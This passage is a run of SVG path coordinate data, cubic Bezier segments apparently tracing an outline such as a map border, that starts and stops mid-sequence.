20224.17 51239.00 20256.00C51249.67 20266.67 51260.33 20277.33 51271.00 20288.00C51260.29 20298.93 51249.07 20309.49 51238.68 20320.65C51217.45 20363.44 51196.22 20406.22 51175.00 20449.00C51174.70 20460.10 51175.60 20471.40 51174.54 20482.38C51164.03 20514.26 51153.51 20546.13 51143.00 20578.00C51153.67 20588.67 51164.33 20599.33 51175.00 20610.00C51228.33 20610.00 51281.67 20610.00 51335.00 20610.00C51346.04 20620.93 51357.61 20631.48 51368.33 20642.65C51379.12 20663.89 51389.41 20685.50 51400.51 20706.51C51411.01 20717.01 51421.50 20727.51 51432.00 20738.00C51442.67 20727.33 51453.33 20716.67 51464.00 20706.00C51453.33 20695.33 51442.67 20684.67 51432.00 20674.00C51432.00 20652.67 51432.00 20631.33 51432.00 20610.00C51453.33 20599.33 51474.67 20588.67 51496.00 20578.00C51496.00 20513.67 51496.00 20449.33 51496.00 20385.00C51517.60 20363.60 51538.92 20341.92 51560.00 20320.00C51560.00 20309.33 51560.00 20298.67 51560.00 20288.00C51582.16 20266.83 51603.82 20245.10 51625.61 20223.60C51657.40 20202.40 51689.20 20181.20 51721.00 20160.00C51721.00 20149.00 51721.00 20138.00 51721.00 20127.00C51742.67 20127.00 51764.33 20127.00 51786.00 20127.00C51796.67 20105.67 51807.33 20084.33 51818.00 20063.00C51839.46 20052.10 51861.28 20041.70 51882.51 20030.49C51893.01 20019.99 51903.50 20009.49 51914.00 19999.00C51935.67 20009.67 51957.33 20020.33 51979.00 20031.00C51989.67 20031.00 52000.33 20031.00 52011.00 20031.00C52043.00 19999.00 52075.00 19967.00 52107.00 19935.00C52118.16 19912.78 52128.63 19890.16 52140.23 19868.19C52161.48 19836.79 52182.74 19805.40 52204.00 19774.00C52204.00 19752.33 52204.00 19730.67 52204.00 19709.00C52236.00 19709.00 52268.00 19709.00 52300.00 19709.00C52321.33 19698.33 52342.67 19687.67 52364.00 19677.00C52396.33 19677.00 52428.67 19677.00 52461.00 19677.00C52482.33 19666.33 52503.67 19655.67 52525.00 19645.00C52525.00 19613.00 52525.00 19581.00 52525.00 19549.00C52546.33 19527.33 52567.67 19505.67 52589.00 19484.00C52600.00 19452.00 52611.00 19420.00 52622.00 19388.00C52643.33 19366.67 52664.67 19345.33 52686.00 19324.00C52696.61 19280.75 52707.68 19237.56 52718.00 19194.27C52718.30 19183.41 52717.40 19172.35 52718.46 19161.62C52728.97 19129.74 52739.49 19097.87 52750.00 19066.00C52739.33 19066.00 52728.67 19066.00 52718.00 19066.00C52707.33 19034.00 52696.67 19002.00 52686.00 18970.00C52696.67 18959.33 52707.33 18948.67 52718.00 18938.00C52718.00 18905.67 52718.00 18873.33 52718.00 18841.00C52707.33 18841.00 52696.67 18841.00 52686.00 18841.00C52686.18 18830.13 52685.64 18819.11 52686.27 18808.32C52707.51 18754.88 52728.76 18701.44 52750.00 18648.00C52750.00 18626.67 52750.00 18605.33 52750.00 18584.00C52760.67 18573.33 52771.33 18562.67 52782.00 18552.00C52771.33 18530.67 52760.67 18509.33 52750.00 18488.00C52760.67 18488.00 52771.33 18488.00 52782.00 18488.00C52782.00 18455.67 52782.00 18423.33 52782.00 18391.00C52760.67 18391.00 52739.33 18391.00 52718.00 18391.00C52718.42 18379.16 52717.13 18367.15 52718.71 18355.43C52729.09 18302.70 52739.85 18250.02 52750.00 18197.27C52750.00 18122.51 52750.00 18047.76 52750.00 17973.00C52771.79 17962.10 52793.96 17951.71 52815.51 17940.49C52826.30 17930.01 52836.61 17918.77 52847.69 17908.77C52879.46 17898.18 52911.23 17887.59 52943.00 17877.00C52943.00 17855.33 52943.00 17833.67 52943.00 17812.00C52953.67 17812.00 52964.33 17812.00 52975.00 17812.00C53007.39 17780.06 53039.94 17748.28 53072.00 17716.00C53082.67 17716.00 53093.33 17716.00 53104.00 17716.00C53125.33 17694.67 53146.67 17673.33 53168.00 17652.00C53178.67 17662.67 53189.33 17673.33 53200.00 17684.00C53210.67 17673.33 53221.33 17662.67 53232.00 17652.00C53243.00 17662.67 53254.00 17673.33 53265.00 17684.00C53286.33 17684.00 53307.67 17684.00 53329.00 17684.00C53350.33 17694.67 53371.67 17705.33 53393.00 17716.00C53425.33 17694.67 53457.67 17673.33 53490.00 17652.00C53500.67 17652.00 53511.33 17652.00 53522.00 17652.00C53543.33 17673.33 53564.67 17694.67 53586.00 17716.00C53639.67 17716.00 53693.33 17716.00 53747.00 17716.00C53757.67 17748.00 53768.33 17780.00 53779.00 17812.00C53800.33 17801.33 53821.67 17790.67 53843.00 17780.00C53854.00 17748.00 53865.00 17716.00 53876.00 17684.00C53918.67 17684.00 53961.33 17684.00 54004.00 17684.00C54025.33 17694.67 54046.67 17705.33 54068.00 17716.00C54079.04 17705.06 54090.62 17694.53 54101.32 17683.35C54111.88 17661.90 54122.44 17640.45 54133.00 17619.00C54143.86 17619.22 54154.93 17618.55 54165.65 17619.33C54186.76 17630.22 54207.88 17641.11 54229.00 17652.00C54239.67 17641.00 54250.33 17630.00 54261.00 17619.00C54261.00 17608.33 54261.00 17597.67 54261.00 17587.00C54282.40 17565.40 54304.08 17544.08 54326.00 17523.00C54326.00 17512.33 54326.00 17501.67 54326.00 17491.00C54368.67 17458.67 54411.33 17426.33 54454.00 17394.00C54475.67 17415.67 54497.33 17437.33 54519.00 17459.00C54508.33 17480.33 54497.67 17501.67 54487.00 17523.00C54519.00 17523.00 54551.00 17523.00 54583.00 17523.00C54593.67 17533.67 54604.33 17544.33 54615.00 17555.00C54625.67 17544.33 54636.33 17533.67 54647.00 17523.00C54646.88 17501.44 54647.23 17479.82 54646.82 17458.29C54636.22 17415.53 54625.61 17372.76 54615.00 17330.00C54625.67 17319.33 54636.33 17308.67 54647.00 17298.00C54679.33 17298.00 54711.67 17298.00 54744.00 17298.00C54765.33 17266.00 54786.67 17234.00 54808.00 17202.00C54818.67 17202.00 54829.33 17202.00 54840.00 17202.00C54840.00 17169.67 54840.00 17137.33 54840.00 17105.00C54861.33 17105.00 54882.67 17105.00 54904.00 17105.00C54925.67 17083.67 54947.33 17062.33 54969.00 17041.00C54980.10 17040.70 54991.40 17041.61 55002.38 17040.54C55033.92 17030.03 55065.46 17019.51 55097.00 17009.00C55107.67 16998.00 55118.33 16987.00 55129.00 16976.00C55161.33 16976.00 55193.67 16976.00 55226.00 16976.00C55269.00 16997.67 55312.00 17019.33 55355.00 17041.00C55355.00 17051.67 55355.00 17062.33 55355.00 17073.00C55387.00 17073.00 55419.00 17073.00 55451.00 17073.00C55472.38 17051.40 55494.26 17030.17 55515.33 17008.35C55526.22 16986.90 55537.11 16965.45 55548.00 16944.00C55558.83 16944.27 55569.99 16943.46 55580.60 16944.41C55612.40 16965.94 55644.20 16987.47 55676.00 17009.00C55686.67 17009.00 55697.33 17009.00 55708.00 17009.00C55718.67 16998.00 55729.33 16987.00 55740.00 16976.00C55751.00 16976.00 55762.00 16976.00 55773.00 16976.00C55805.00 16954.67 55837.00 16933.33 55869.00 16912.00C55879.67 16912.00 55890.33 16912.00 55901.00 16912.00C55901.15 16879.78 55900.70 16847.47 55901.23 16815.31C55911.82 16783.21 55922.41 16751.10 55933.00 16719.00C55922.33 16719.00 55911.67 16719.00 55901.00 16719.00C55901.00 16697.67 55901.00 16676.33 55901.00 16655.00C55944.00 16633.67 55987.00 16612.33 56030.00 16591.00C56040.67 16612.33 56051.33 16633.67 56062.00 16655.00C56147.90 16708.75 56233.70 16762.67 56319.65 16816.32C56362.43 16837.55 56405.22 16858.78 56448.00 16880.00C56493.43 16865.08 56538.51 16849.06 56584.48 16835.81C56678.32 16807.54 56772.16 16779.27 56866.00 16751.00C56908.67 16751.00 56951.33 16751.00 56994.00 16751.00C57005.00 16761.67 57016.00 16772.33 57027.00 16783.00C57059.00 16783.00 57091.00 16783.00 57123.00 16783.00C57123.00 16836.67 57123.00 16890.33 57123.00 16944.00C57133.96 16976.74 57144.37 17009.70 57155.66 17042.30C57177.11 17084.53 57198.55 17126.77 57220.00 17169.00C57272.90 17223.09 57326.47 17276.52 57380.00 17330.00C57401.67 17362.33 57423.33 17394.67 57445.00 17427.00C57520.00 17469.67 57595.00 17512.33 57670.00 17555.00C57734.54 17544.19 57799.20 17533.79 57863.68 17522.73C57916.78 17501.49 57969.89 17480.24 58023.00 17459.00C58066.73 17469.73 58110.37 17480.91 58154.16 17491.36C58282.35 17512.53 58410.52 17534.02 58538.73 17555.00C58559.82 17555.00 58580.91 17555.00 58602.00 17555.00C58623.33 17587.33 58644.67 17619.67 58666.00 17652.00C58666.00 17662.67 58666.00 17673.33 58666.00 17684.00C58773.33 17716.00 58880.67 17748.00 58988.00 17780.00C59020.00 17801.67 59052.00 17823.33 59084.00 17845.00C59095.00 17845.00 59106.00 17845.00 59117.00 17845.00C59138.33 17866.33 59159.67 17887.67 59181.00 17909.00C59191.67 17962.67 59202.33 18016.33 59213.00 18070.00C59202.18 18123.54 59191.78 18177.21 59180.70 18230.67C59137.80 18327.11 59094.90 18423.56 59052.00 18520.00C59062.67 18691.33 59073.33 18862.67 59084.00 19034.00C59073.33 19055.67 59062.67 19077.33 59052.00 19099.00C59009.02 19131.38 58965.73 19163.40 58922.95 19196.01C58912.26 19206.61 58901.04 19216.81 58890.67 19227.65C58879.88 19248.90 58869.59 19270.50 58858.49 19291.52C58815.99 19334.35 58773.50 19377.17 58731.00 19420.00C58720.39 19463.25 58709.32 19506.44 58699.00 19549.73C58699.00 19581.49 58699.00 19613.24 58699.00 19645.00C58741.67 19666.33 58784.33 19687.67 58827.00 19709.00C58859.40 19752.24 58892.11 19795.30 58924.33 19838.65C58934.88 19859.77 58945.44 19880.88 58956.00 19902.00C58977.33 19913.00 58998.67 19924.00 59020.00 19935.00C59030.67 19977.67 59041.33 20020.33 59052.00 20063.00C59073.90 20084.44 59095.57 20106.15 59117.60 20127.41C59149.54 20149.15 59181.72 20170.60 59213.51 20192.51C59245.34 20224.34 59277.17 20256.17 59309.00 20288.00C59352.00 20309.67 59395.00 20331.33 59438.00 20353.00C59448.67 20353.00 59459.33 20353.00 59470.00 20353.00C59480.68 20363.95 59492.00 20374.46 59502.27 20385.67C59523.85 20438.78 59545.43 20491.89 59567.00 20545.00C59566.78 20556.19 59567.44 20567.59 59566.67 20578.65C59556.12 20599.77 59545.56 20620.88 59535.00 20642.00C59545.67 20674.00 59556.33 20706.00 59567.00 20738.00C59588.33 20749.00 59609.67 20760.00 59631.00 20771.00C59663.00 20931.67 59695.00 21092.33 59727.00 21253.00C59780.67 21381.67 59834.33 21510.33 59888.00 21639.00C59898.67 21724.67 59909.33 21810.33 59920.00 21896.00C59952.33 21960.33 59984.67 22024.67 60017.00 22089.00C60102.67 22089.00 60188.33 22089.00 60274.00 22089.00C60273.70 22100.10 60274.61 22111.40 60273.54 22122.38C60263.10 22154.18 60252.05 22185.87 60242.00 22217.73C60242.00 22239.15 60242.00 22260.58 60242.00 22282.00C60252.67 22292.67 60263.33 22303.33 60274.00 22314.00C60263.33 22335.33 60252.67 22356.67 60242.00 22378.00C60253.14 22399.90 60263.68 22422.15 60275.20 22443.83C60310.54 22497.48 60345.84 22551.16 60382.13 22604.18C60389.09 22614.45 60396.04 22624.73 60403.00 22635.00C60402.88 22656.90 60403.24 22678.85 60402.82 22700.71C60392.21 22743.14 60381.61 22785.57 60371.00 22828.00C60338.67 22860.33 60306.33 22892.67 60274.00 22925.00C60252.67 23000.00 60231.33 23075.00 60210.00 23150.00C60220.67 23192.67 60231.33 23235.33 60242.00 23278.00C60273.94 23310.39 60305.72 23342.94 60338.00 23375.00C60338.00 23439.33 60338.00 23503.67 60338.00 23568.00C60325.90 23579.62 60314.73 23592.26 60302.02 23603.19C60249.68 23645.13 60197.34 23687.06 60145.00 23729.00C60102.33 23793.33 60059.67 23857.67 60017.00 23922.00C60006.05 23954.41 59995.61 23987.03 59984.35 24019.30C59973.90 24040.20 59963.45 24061.10 59953.00 24082.00C59985.00 24232.33 60017.00 24382.67 60049.00 24533.00C60027.58 24661.32 60006.25 24789.65 59985.00 24918.00C60006.33 24950.33 60027.67 24982.67 60049.00 25015.00C60049.00 25090.00 60049.00 25165.00 60049.00 25240.00C60070.33 25240.00 60091.67 25240.00 60113.00 25240.00C60145.33 25218.33 60177.67 25196.67 60210.00 25175.00C60242.20 25218.15 60274.18 25261.48 60306.51 25304.51C60317.01 25315.01 60327.50 25325.51 60338.00 25336.00C60349.16 25379.20 60359.93 25422.54 60371.33 25465.65C60381.88 25486.77 60392.44 25507.88 60403.00 25529.00C60392.33 25539.67 60381.67 25550.33 60371.00 25561.00C60370.77 25572.19 60371.45 25583.60 60370.67 25594.65C60359.69 25616.26 60348.17 25637.63 60337.54 25659.38C60327.03 25690.92 60316.51 25722.46 60306.00 25754.00C60316.67 25786.33 60327.33 25818.67 60338.00 25851.00C60327.33 25915.33 60316.67 25979.67 60306.00 26044.00C60327.67 26097.33 60349.33 26150.67 60371.00 26204.00C60371.00 26257.67 60371.00 26311.33 60371.00 26365.00C60392.38 26386.93 60414.25 26408.50 60435.33 26430.65C60456.55 26473.10 60477.78 26515.55 60499.00 26558.00C60499.00 26686.67 60499.00 26815.33 60499.00 26944.00C60520.33 26976.00 60541.67 27008.00 60563.00 27040.00C60595.59 27061.69 60627.96 27083.84 60660.69 27105.23C60692.46 27115.82 60724.23 27126.41 60756.00 27137.00C60766.67 27158.33 60777.33 27179.67 60788.00 27201.00C60820.33 27211.67 60852.67 27222.33 60885.00 27233.00C60917.00 27329.67 60949.00 27426.33 60981.00 27523.00C60981.00 27576.33 60981.00 27629.67 60981.00 27683.00C60970.33 27683.00 60959.67 27683.00 60949.00 27683.00C60949.00 27694.00 60949.00 27705.00 60949.00 27716.00C60959.72 27726.93 60970.92 27737.50 60981.33 27748.65C60992.22 27769.76 61003.11 27790.88 61014.00 27812.00C61014.00 27833.33 61014.00 27854.67 61014.00 27876.00C61046.07 27919.24 61078.44 27962.30 61110.33 28005.65C61131.76 28048.33 61152.98 28091.12 61174.00 28134.00C61195.67 28155.33 61217.33 28176.67 61239.00 28198.00C61260.33 28198.00 61281.67 28198.00 61303.00 28198.00C61324.33 28208.67 61345.67 28219.33 61367.00 28230.00C61366.79 28240.86 61367.43 28251.92 61366.68 28262.65C61356.12 28284.10 61345.56 28305.55 61335.00 28327.00C61345.67 28359.00 61356.33 28391.00 61367.00 28423.00C61345.67 28433.67 61324.33 28444.33 61303.00 28455.00C61303.00 28487.33 61303.00 28519.67 61303.00 28552.00C61313.67 28573.33 61324.33 28594.67 61335.00 28616.00C61356.33 28616.00 61377.67 28616.00 61399.00 28616.00C61388.33 28637.33 61377.67 28658.67 61367.00 28680.00C61345.67 28690.67 61324.33 28701.33 61303.00 28712.00C61303.00 28723.00 61303.00 28734.00 61303.00 28745.00C61324.33 28777.00 61345.67 28809.00 61367.00 28841.00C61356.33 28851.67 61345.67 28862.33 61335.00 28873.00C61356.33 28894.33 61377.67 28915.67 61399.00 28937.00C61410.00 28937.00 61421.00 28937.00 61432.00 28937.00C61442.67 28926.33 61453.33 28915.67 61464.00 28905.00C61517.33 28937.33 61570.67 28969.67 61624.00 29002.00C61613.33 29012.67 61602.67 29023.33 61592.00 29034.00C61592.00 29077.00 61592.00 29120.00 61592.00 29163.00C61570.67 29184.33 61549.33 29205.67 61528.00 29227.00C61538.67 29259.00 61549.33 29291.00 61560.00 29323.00C61538.67 29333.67 61517.33 29344.33 61496.00 29355.00C61496.00 29366.00 61496.00 29377.00 61496.00 29388.00C61485.33 29388.00 61474.67 29388.00 61464.00 29388.00C61453.33 29420.00 61442.67 29452.00 61432.00 29484.00C61410.21 29494.90 61388.04 29505.29 61366.49 29516.51C61355.73 29527.06 61345.33 29538.10 61334.35 29548.33C61291.90 29569.89 61249.45 29591.44 61207.00 29613.00C61207.00 29634.33 61207.00 29655.67 61207.00 29677.00C61217.67 29677.00 61228.33 29677.00 61239.00 29677.00C61228.33 29698.33 61217.67 29719.67 61207.00 29741.00C61196.00 29730.33 61185.00 29719.67 61174.00 29709.00C61163.33 29719.67 61152.67 29730.33 61142.00 29741.00C61142.00 29762.67 61142.00 29784.33 61142.00 29806.00C61131.33 29827.33 61120.67 29848.67 61110.00 29870.00C61099.33 29870.00 61088.67 29870.00 61078.00 29870.00C61067.33 29880.67 61056.67 29891.33 61046.00 29902.00C61056.67 29934.33 61067.33 29966.67 61078.00 29999.00C61067.33 30009.67 61056.67 30020.33 61046.00 30031.00C61046.00 30041.67 61046.00 30052.33 61046.00 30063.00C61035.33 30073.67 61024.67 30084.33 61014.00 30095.00C61024.67 30116.33 61035.33 30137.67 61046.00 30159.00C61046.00 30180.67 61046.00 30202.33 61046.00 30224.00C61078.00 30256.00 61110.00 30288.00 61142.00 30320.00C61142.00 30341.33 61142.00 30362.67 61142.00 30384.00C61120.67 30384.00 61099.33 30384.00 61078.00 30384.00C61078.00 30395.00 61078.00 30406.00 61078.00 30417.00C61088.71 30427.93 61099.93 30438.49 61110.33 30449.65C61120.88 30470.77 61131.44 30491.88 61142.00 30513.00C61142.00 30523.67 61142.00 30534.33 61142.00 30545.00C61131.33 30555.67 61120.67 30566.33 61110.00 30577.00C61099.33 30577.00 61088.67 30577.00 61078.00 30577.00C61067.33 30587.67 61056.67 30598.33 61046.00 30609.00C61013.67 30609.00 60981.33 30609.00 60949.00 30609.00C60949.00 30630.67 60949.00 30652.33 60949.00 30674.00C60927.67 30684.67 60906.33 30695.33 60885.00 30706.00C60874.33 30695.33 60863.67 30684.67 60853.00 30674.00C60853.00 30684.67 60853.00 30695.33 60853.00 30706.00C60820.67 30706.00 60788.33 30706.00 60756.00 30706.00C60756.00 30738.00 60756.00 30770.00 60756.00 30802.00C60766.67 30802.00 60777.33 30802.00 60788.00 30802.00C60799.00 30812.67 60810.00 30823.33 60821.00 30834.00C60810.00 30845.00 60799.00 30856.00 60788.00 30867.00C60756.00 30856.00 60724.00 30845.00 60692.00 30834.00C60681.33 30845.00 60670.67 30856.00 60660.00 30867.00C60660.00 30877.67 60660.00 30888.33 60660.00 30899.00C60638.67 30909.67 60617.33 30920.33 60596.00 30931.00C60584.77 30909.53 60574.01 30887.74 60562.49 30866.48C60541.59 30844.73 60520.42 30823.24 60499.00 30802.00C60499.00 30791.33 60499.00 30780.67 60499.00 30770.00C60456.33 30770.00 60413.67 30770.00 60371.00 30770.00C60349.33 30759.33 60327.67 30748.67 60306.00 30738.00C60306.00 30748.67 60306.00 30759.33 60306.00 30770.00C60274.00 30748.67 60242.00 30727.33 60210.00 30706.00C60199.33 30716.67 60188.67 30727.33 60178.00 30738.00C60178.00 30770.00 60178.00 30802.00 60178.00 30834.00C60156.33 30845.00 60134.67 30856.00 60113.00 30867.00C60113.00 30899.00 60113.00 30931.00 60113.00 30963.00C60123.67 30963.00 60134.33 30963.00 60145.00 30963.00C60156.00 30995.33 60167.00 31027.67 60178.00 31060.00C60156.33 31070.67 60134.67 31081.33 60113.00 31092.00C60113.30 31103.10 60112.39 31114.40 60113.46 31125.38C60123.97 31156.92 60134.49 31188.46 60145.00 31220.00C60177.33 31241.67 60209.67 31263.33 60242.00 31285.00C60263.33 31274.33 60284.67 31263.67 60306.00 31253.00C60316.67 31274.33 60327.33 31295.67 60338.00 31317.00C60349.00 31317.00 60360.00 31317.00 60371.00 31317.00C60381.67 31327.67 60392.33 31338.33 60403.00 31349.00C60403.00 31338.33 60403.00 31327.67 60403.00 31317.00C60424.33 31317.00 60445.67 31317.00 60467.00 31317.00C60477.67 31327.67 60488.33 31338.33 60499.00 31349.00C60542.00 31359.67 60585.00 31370.33 60628.00 31381.00C60638.67 31402.33 60649.33 31423.67 60660.00 31445.00C60681.33 31456.00 60702.67 31467.00 60724.00 31478.00C60724.00 31488.67 60724.00 31499.33 60724.00 31510.00C60734.67 31520.67 60745.33 31531.33 60756.00 31542.00C60756.00 31552.67 60756.00 31563.33 60756.00 31574.00C60745.33 31584.67 60734.67 31595.33 60724.00 31606.00C60745.33 31616.67 60766.67 31627.33 60788.00 31638.00C60788.00 31648.67 60788.00 31659.33 60788.00 31670.00C60799.00 31670.00 60810.00 31670.00 60821.00 31670.00C60853.07 31713.24 60885.44 31756.30 60917.33 31799.65C60927.88 31820.77 60938.44 31841.88 60949.00 31863.00C60970.67 31863.00 60992.33 31863.00 61014.00 31863.00C61024.90 31884.79 61035.29 31906.96 61046.51 31928.51C61067.68 31949.68 61088.84 31970.84 61110.00 31992.00C61110.00 32002.67 61110.00 32013.33 61110.00 32024.00C61131.33 32013.33 61152.67 32002.67 61174.00 31992.00C61195.76 32013.57 61217.84 32034.88 61239.40 32056.61C61260.60 32088.74 61281.80 32120.87 61303.00 32153.00C61346.00 32153.00 61389.00 32153.00 61432.00 32153.00C61453.33 32163.67 61474.67 32174.33 61496.00 32185.00C61517.33 32185.00 61538.67 32185.00 61560.00 32185.00C61560.00 32217.00 61560.00 32249.00 61560.00 32281.00C61603.00 32292.00 61646.00 32303.00 61689.00 32314.00C61721.00 32346.00 61753.00 32378.00 61785.00 32410.00C61795.67 32410.00 61806.33 32410.00 61817.00 32410.00C61828.00 32420.67 61839.00 32431.33 61850.00 32442.00C61871.33 32442.00 61892.67 32442.00 61914.00 32442.00C61935.33 32485.00 61956.67 32528.00 61978.00 32571.00C61967.33 32592.33 61956.67 32613.67 61946.00 32635.00C61978.33 32667.33 62010.67 32699.67 62043.00 32732.00C62064.33 32742.67 62085.67 32753.33 62107.00 32764.00C62149.67 32764.00 62192.33 32764.00 62235.00 32764.00C62287.72 32816.15 62340.57 32868.18 62392.50 32921.13C62404.38 32933.35 62416.76 32945.21 62428.33 32957.65C62439.93 32981.50 62452.60 33004.85 62463.46 33029.03C62494.64 33101.35 62525.82 33173.68 62557.00 33246.00C62557.00 33278.00 62557.00 33310.00 62557.00 33342.00C62600.00 33385.00 62643.00 33428.00 62686.00 33471.00C62696.70 33503.49 62707.88 33535.86 62718.28 33568.43C62728.86 33621.62 62739.43 33674.81 62750.00 33728.00C62793.23 33782.10 62836.75 33835.99 62879.80 33890.22C62900.87 33922.14 62921.93 33954.07 62943.00 33986.00C62954.04 34029.57 62964.53 34073.30 62975.91 34116.77C62986.28 34148.18 62996.64 34179.59 63007.00 34211.00C63050.25 34221.61 63093.44 34232.68 63136.73 34243.00C63200.82 34243.00 63264.91 34243.00 63329.00 34243.00C63350.46 34232.10 63372.29 34221.71 63393.51 34210.48C63414.94 34188.94 63435.99 34166.89 63457.65 34145.67C63478.77 34135.12 63499.88 34124.56 63521.00 34114.00C63554.30 34124.83 63587.43 34136.22 63620.83 34146.70C63662.89 34157.14 63704.94 34167.57 63747.00 34178.00C63779.00 34210.33 63811.00 34242.67 63843.00 34275.00C63972.10 34317.89 64101.21 34360.81 64230.35 34403.55C64283.57 34425.03 64336.78 34446.51 64390.00 34468.00C64443.33 34510.67 64496.67 34553.33 64550.00 34596.00C64571.71 34628.58 64593.79 34660.97 64615.27 34693.68C64636.51 34747.12 64657.76 34800.56 64679.00 34854.00C64764.99 34929.37 64851.15 35004.55 64937.03 35080.03C64947.35 35090.35 64957.68 35100.68 64968.00 35111.00C64979.00 35111.00 64990.00 35111.00 65001.00 35111.00C65001.00 35068.00 65001.00 35025.00 65001.00 34982.00C65011.67 34971.33 65022.33 34960.67 65033.00 34950.00C65033.00 34928.67 65033.00 34907.33 65033.00 34886.00C65022.29 34875.07 65011.07 34864.50 65000.67 34853.35C64989.78 34831.90 64978.89 34810.45 64968.00 34789.00C64914.67 34767.67 64861.33 34746.33 64808.00 34725.00C64775.67 34660.67 64743.33 34596.33 64711.00 34532.00C64711.00 34489.00 64711.00 34446.00 64711.00 34403.00C64689.67 34392.33 64668.33 34381.67 64647.00 34371.00C64604.00 34371.00 64561.00 34371.00 64518.00 34371.00C64507.33 34339.00 64496.67 34307.00 64486.00 34275.00C64442.75 34264.39 64399.56 34253.32 64356.27 34243.00C64345.85 34243.00 64335.42 34243.00 64325.00 34243.00C64325.00 34232.33 64325.00 34221.67 64325.00 34211.00C64357.53 34167.85 64389.86 34124.52 64422.51 34081.49C64433.05 34070.72 64444.10 34060.33 64454.33 34049.35C64464.88 34028.23 64475.44 34007.12 64486.00 33986.00C64486.00 33964.33 64486.00 33942.67 64486.00 33921.00C64443.00 33878.33 64400.00 33835.67 64357.00 33793.00C64325.00 33782.00 64293.00 33771.00 64261.00 33760.00C64271.90 33738.54 64282.30 33716.72 64293.51 33695.49C64314.68 33674.32 64335.84 33653.16 64357.00 33632.00C64368.21 33577.89 64378.97 33523.65 64390.46 33469.62C64401.14 33437.11 64412.39 33404.78 64422.70 33372.17C64433.14 33330.11 64443.57 33288.06 64454.00 33246.00C64475.33 33224.67 64496.67 33203.33 64518.00 33182.00C64507.33 33149.67 64496.67 33117.33 64486.00 33085.00C64507.33 33042.33 64528.67 32999.67 64550.00 32957.00C64561.00 32946.33 64572.00 32935.67 64583.00 32925.00C64571.77 32903.21 64561.03 32881.05 64549.49 32859.49C64538.99 32848.99 64528.50 32838.50 64518.00 32828.00C64518.00 32817.33 64518.00 32806.67 64518.00 32796.00C64539.67 32785.33 64561.33 32774.67 64583.00 32764.00C64561.33 32742.33 64539.67 32720.67 64518.00 32699.00C64518.00 32688.33 64518.00 32677.67 64518.00 32667.00C64528.67 32656.33 64539.33 32645.67 64550.00 32635.00C64582.33 32635.00 64614.67 32635.00 64647.00 32635.00C64657.67 32613.67 64668.33 32592.33 64679.00 32571.00C64679.00 32528.00 64679.00 32485.00 64679.00 32442.00C64668.10 32420.54 64657.70 32398.72 64646.49 32377.49C64625.32 32356.32 64604.16 32335.16 64583.00 32314.00C64583.00 32281.67 64583.00 32249.33 64583.00 32217.00C64561.33 32217.00 64539.67 32217.00 64518.00 32217.00C64507.33 32206.33 64496.67 32195.67 64486.00 32185.00C64496.67 32142.00 64507.33 32099.00 64518.00 32056.00C64507.33 32024.00 64496.67 31992.00 64486.00 31960.00C64496.67 31949.33 64507.33 31938.67 64518.00 31928.00C64518.00 31895.67 64518.00 31863.33 64518.00 31831.00C64550.33 31809.67 64582.67 31788.33 64615.00 31767.00C64615.00 31713.33 64615.00 31659.67 64615.00 31606.00C64636.33 31584.67 64657.67 31563.33 64679.00 31542.00C64679.00 31531.33 64679.00 31520.67 64679.00 31510.00C64668.33 31499.33 64657.67 31488.67 64647.00 31478.00C64647.00 31403.00 64647.00 31328.00 64647.00 31253.00C64668.33 31199.33 64689.67 31145.67 64711.00 31092.00C64743.87 31069.83 64777.02 31048.05 64809.71 31025.63C64862.47 30983.42 64915.24 30941.21 64968.00 30899.00C64979.00 30877.33 64990.00 30855.67 65001.00 30834.00C65001.00 30802.00 65001.00 30770.00 65001.00 30738.00C65022.54 30705.85 65043.80 30673.49 65065.51 30641.48C65076.00 30630.65 65086.50 30619.83 65097.00 30609.00C65129.00 30609.00 65161.00 30609.00 65193.00 30609.00C65204.00 30598.33 65215.00 30587.67 65226.00 30577.00C65226.00 30545.00 65226.00 30513.00 65226.00 30481.00C65258.00 30481.00 65290.00 30481.00 65322.00 30481.00C65343.60 30459.62 65364.83 30437.74 65386.65 30416.67C65429.43 30395.12 65472.22 30373.56 65515.00 30352.00C65525.93 30341.29 65536.49 30330.06 65547.65 30319.68C65569.10 30309.12 65590.55 30298.56 65612.00 30288.00C65644.00 30298.67 65676.00 30309.33 65708.00 30320.00C65751.00 30277.00 65794.00 30234.00 65837.00 30191.00C65869.48 30190.86 65901.99 30191.27 65934.44 30190.79C66008.96 30180.20 66083.48 30169.60 66158.00 30159.00C66168.67 30148.33 66179.33 30137.67 66190.00 30127.00C66190.00 30095.00 66190.00 30063.00 66190.00 30031.00C66200.67 30020.33 66211.33 30009.67 66222.00 29999.00C66211.33 29977.33 66200.67 29955.67 66190.00 29934.00C66190.00 29912.67 66190.00 29891.33 66190.00 29870.00C66200.67 29859.33 66211.33 29848.67 66222.00 29838.00C66233.19 29838.22 66244.59 29837.56 66255.65 29838.33C66276.77 29848.88 66297.88 29859.44 66319.00 29870.00C66351.22 29870.15 66383.54 29869.69 66415.69 29870.23C66447.79 29880.82 66479.90 29891.41 66512.00 29902.00C66512.00 29891.33 66512.00 29880.67 66512.00 29870.00C66522.96 29859.35 66533.44 29847.94 66544.69 29837.77C66576.46 29827.18 66608.23 29816.59 66640.00 29806.00C66661.92 29827.08 66683.60 29848.40 66705.00 29870.00C66737.26 29859.41 66769.41 29848.21 66801.73 29838.00C66812.35 29838.22 66823.16 29837.57 66833.65 29838.32C66876.43 29859.55 66919.22 29880.78 66962.00 29902.00C66972.67 29945.00 66983.33 29988.00 66994.00 30031.00C67004.67 30041.67 67015.33 30052.33 67026.00 30063.00C67058.33 30063.00 67090.67 30063.00 67123.00 30063.00C67165.67 30084.33 67208.33 30105.67 67251.00 30127.00C67315.33 30127.00 67379.67 30127.00 67444.00 30127.00C67454.67 30116.33 67465.33 30105.67 67476.00 30095.00C67487.00 30105.67 67498.00 30116.33 67509.00 30127.00C67519.67 30127.00 67530.33 30127.00 67541.00 30127.00C67551.67 30116.33 67562.33 30105.67 67573.00 30095.00C67594.33 30095.00 67615.67 30095.00 67637.00 30095.00C67647.67 30138.00 67658.33 30181.00 67669.00 30224.00C67658.33 30234.67 67647.67 30245.33 67637.00 30256.00C67637.00 30298.67 67637.00 30341.33 67637.00 30384.00C67647.67 30384.00 67658.33 30384.00 67669.00 30384.00C67669.00 30405.67 67669.00 30427.33 67669.00 30449.00C67712.00 30491.67 67755.00 30534.33 67798.00 30577.00C67830.00 30555.67 67862.00 30534.33 67894.00 30513.00C67915.92 30534.08 67937.60 30555.40 67959.00 30577.00C67959.15 30609.55 67958.69 30642.20 67959.23 30674.69C67969.82 30706.46 67980.41 30738.23 67991.00 30770.00C68044.67 30770.00 68098.33 